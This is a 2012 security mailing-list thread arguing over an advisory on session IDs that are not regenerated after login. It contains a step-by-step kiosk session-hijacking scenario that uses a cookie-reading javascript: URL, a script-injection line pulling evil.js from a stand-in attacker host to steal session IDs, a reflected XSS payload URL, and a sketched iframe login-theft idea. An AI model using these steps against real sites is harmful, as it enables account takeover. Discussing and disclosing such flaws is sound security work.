Re: Predefined Post Authentication Session ID Vulnerability

[Gökhan Muharremoglu <gokmuh () hotmail com>]

For evil.js you can not open another web site according to policy. 

Gökhan Muharremoğlu


On 13 Tem 2012, at 14:57, "Gage Bystrom" <themadichib0d () gmail com> wrote:

> Exactly, a niche scenario. I never said it /wasn't/ a vulnerability,
> only that it doesn't warrant the severity you claim.
>
> Also again, a situation where there are better things for an attack to do.
>
> Yes you could do that to grab the session id, or whats stopping you
> from writing "javascript;document.write('<script
> type="text/javascript" src="www.evil.com/evil.js"></script>)?
> Presumably evil.js doing all sorts of nasty such as grabbing the
> session id and storing it remotely. Yes I'm aware you claimed policies
> are in place, but I'm curious if that approach was tried.
>
> Or better yet, why not just load an iframe of the site's app itself?
> Theres all sorts of known nasties you can do with iframes, why not
> intercept all the the requests to the iframe(wiping out the main page
> with more js so things are transparent) and then store the stolen
> values of logins to a cookie? Screw the session id, you can get full
> logins that way. All you would need to do is swing by and do your
> "javascript;alert(document.cookie);" to fetch the results.
>
> Also I'm no expert in javascript or heck even in web applications.
> That was just my first idea from a very basic knowledge, therefore we
> can assume that any remotely dedicated attacker can probably come up
> with an even cleaner solution, but the point still stands:
>
> If you are worried about this vulnerability, you have bigger issues,
> ergo why are you even worried?
>
> To me it'd be a lot like worrying if you are salting your passwords
> stored in a database properly when you are only xoring them. Yeah sure
> good salts are important to consider in isolation, but in that case
> you have bigger fish to fry. In this situation the bigger fish to fry
> is 'the attacker can run arbitrary js on the victim's side'.
>
> As to the xss, that just illustrates my smaller point that your PoC is
> extremely vague. I only figured it out while I was typing my original
> email, and that was going off my own testing and ignoring your
> instructions which were only misleading me. Judging by some of the
> other responses here, I'd be hesitant to say I was the only one. Might
> wanna think about whats the common denominator here.
>
> On Fri, Jul 13, 2012 at 4:23 AM, Gokhan Muharremoglu
> <gokhan.muharremoglu () iosec org> wrote:
> > Ok. It seems i have to explain this vulnerability's effects with another
> > scenario.
> >
> > This is a real life scenario and i wrote it in a Turkish article for
> > National Information Security Portal which is run by TUBITAK.
> >
> > Article in Turkish with scenario =>
> > http://www.iosec.org/oturum_oncesi_tanimli_cerez.pdf
> >
> > I  will explain it in English now.
> >
> > There are KIOSK/Terminal machines at bank branches in Turkey. Customers can
> > reach to the regular Internet banking applicaton from here.
> > But these machines are restricted with policies and you can not view any
> > other web site or close browser page. But you can type in to the address
> > bar.
> > All you can do is to enter bank's internet web application.
> >
> > Here is the scenario (taken from real life):
> >
> > 1. Type "javascript:alert(document.cookie)" to the address bar and copy all
> > information including Session ID.
> > 2. Wait for a victim who logs in to the KIOSK.
> > 3. After he/she logins, use your copied Session ID to login as him/her.
> >
> > In this scenario;
> > There was no same-origin restrction,
> > There was no httpOnly cookie tag.
> >
> > Always remember "A chain is only as strong as its weakest link". This is a
> > vulnerability, it's attacker's and conditions' decision how to use it.
> >
> > You can use wider vision to consider about real life scenarios.
> >
> > Gokhan Muharremoglu
> >
> > -----Original Message-----
> > From: Gage Bystrom [mailto:themadichib0d () gmail com]
> > Sent: Friday, July 13, 2012 1:40 PM
> > To: Gokhan Muharremoglu; full-disclosure () lists grok org uk
> > Subject: Re: [Full-disclosure] Predefined Post Authentication Session ID
> > Vulnerability
> >
> > Ok after playing around and re-reading the advisory I was finally able to
> > get the PoC to work. While it is interesting once your actually see it work
> > I simply do not believe it warrants the severity you have described. The man
> > reason why I say this is because any attacker in a position to modify a
> > victim's session id is simply in a position to do better things. Why go
> > through the niche roundabout way when you can just simply jack the
> > authenticated session ID?
> >
> > The only conceivable scenario I can think of would be in the case of a
> > stored XSS that isn't present after authentication, in which case stealing
> > the session ID before hand would be a much better avenue and more in line
> > with what you are trying to warn about(maybe you should make the PoC reflect
> > that to better illustrate your point). Even then we are talking about a
> > really niche attack.
> >
> > Basically this sounds like a classic example of: "Yes, technically this is
> > abusable, but if you are worried about this, you have bigger problems to
> > deal with."
> >
> > Speaking of xss your vuln page has one:
> >
> > http://www.iosec.org/iosec_login_vulnerable.php?user=%3Cscript%3Ealert%28%22
> > Told%20ya%20so%22%29%3C/script%3E&failed=1
> >
> > not to mention an arbitrary(even non-existent users) account change:
> >
> > http://www.iosec.org/iosec_login_vulnerable.php?user=admin
> > ((after logging in, not that the result page is much))
> >
> > Yeah, yeah I know it's meant to be vulnerable to begin with, but you should
> > really make sure a PoC vulnerable page is only vulnerable to what you are
> > trying to demonstrate, otherwise it can be hard to identify if this is a
> > serious issue or just an example of your personal screw ups, generally
> > speaking at least.
> >
> > On Fri, Jul 13, 2012 at 1:46 AM, Gokhan Muharremoglu
> > <gokhan.muharremoglu () iosec org> wrote:
> > > You can find an example page and combined vulnerabilities below URL.
> > > This example login page is affected by Predefined Post Authentication
> > > Session ID Vulnerability.
> > > This vulnerability can lead a social engineering scenario or other
> > > hijacking attack scenarios when mixed with other vulnerabilities (such
> > XSS).
> > > For proof of concept:
> > >
> > > http://www.iosec.org/iosec_login_vulnerable.php
> > >
> > >
> > > Predefined Post Authentication Session ID Vulnerability is a
> > > Vendor-neutral vulnerability and it let attackers to design new attack
> > scenarios.
> > > A lot of web application on the Internet affected by this vulnerability.
> > >
> > > -----------------------
> > > Vulnerability Name: Predefined Post Authentication Session ID
> > > Vulnerability
> > > Type: Improper Session Handling
> > > Impact: Session Hijacking
> > > Level: Medium
> > > Date: 10.07.2012
> > > Vendor: Vendor-neutral
> > > Issuer: Gokhan Muharremoglu
> > > E-mail: gokhan.muharremoglu () iosec org
> > >
> > >
> > > VULNERABILITY
> > > If a web application starts a session and defines a session id before
> > > a user authenticated, this session id must be changed after a
> > > successful authentication. If web application uses the same session id
> > > before and after authentication, any legitimate user who has gained
> > > the "before authentication" session id can hijack future "after
> > > authentication" sessions too.
> > >
> > > MITIGATION
> > > To avoid this vulnerability, sessions must be regenerated after a
> > > successful login. In a session fixation attack, attacker fixates
> > > (sets) another person's (victim's) session identifier because of
> > > "never regenerated and validated" session id and this vulnerability
> > > can also lead to the Session Fixation attack or etc.
> > >
> > > Gokhan Muharremoglu
> > > Information Security Specialist
> > > (CEH, ECSA, CIW-Web Security Professional, Security+, EXIN 27002 ISFS)
> > >
> > > -----Original Message-----
> > > From: Jann Horn [mailto:jannhorn () googlemail com]
> > > Sent: Friday, July 13, 2012 2:06 AM
> > > To: Gokhan Muharremoglu
> > > Cc: full-disclosure () lists grok org uk
> > > Subject: Re: [Full-disclosure] Predefined Post Authentication Session
> > > ID Vulnerability
> > >
> > > On Wed, Jul 11, 2012 at 11:34:11AM +0300, Gokhan Muharremoglu wrote:
> > > > Vulnerability Name: Predefined Post Authentication Session ID
> > > > Vulnerability
> > > > Type: Improper Session Handling
> > > > Impact: Session Hijacking
> > > > Level: Medium
> > > > Date: 10.07.2012
> > > > Vendor: Vendor-neutral
> > > > Issuer: Gokhan Muharremoglu
> > > > E-mail: gokhan.muharremoglu () iosec org
> > > >
> > > >
> > > > VULNERABILITY
> > > > If a web application starts a session and defines a session id before
> > > > a user authenticated, this session id must be changed after a
> > > > successful authentication. If web application uses the same session
> > > > id before and after authentication, any legitimate user who has
> > > > gained the "before authentication" session id can hijack future
> > > > "after authentication" sessions too.
> > >
> > > Uh, so, erm, you assume that someone can steal my cookie/set
> > > it/whatever although the Same Origin Policy should clearly not allow
> > > that, and then, after I have logged in, he can't just steal my cookie?
> > > Unless you allow setting the session-ID via an URL or so (which would
> > > IMO be pretty stupid), I can't see how this is a realistic,
> > > vendor-neutral attack. Could you explain this a bit better? I don't get
> > it.
> > > _______________________________________________
> > > Full-Disclosure - We believe in it.
> > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > > Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/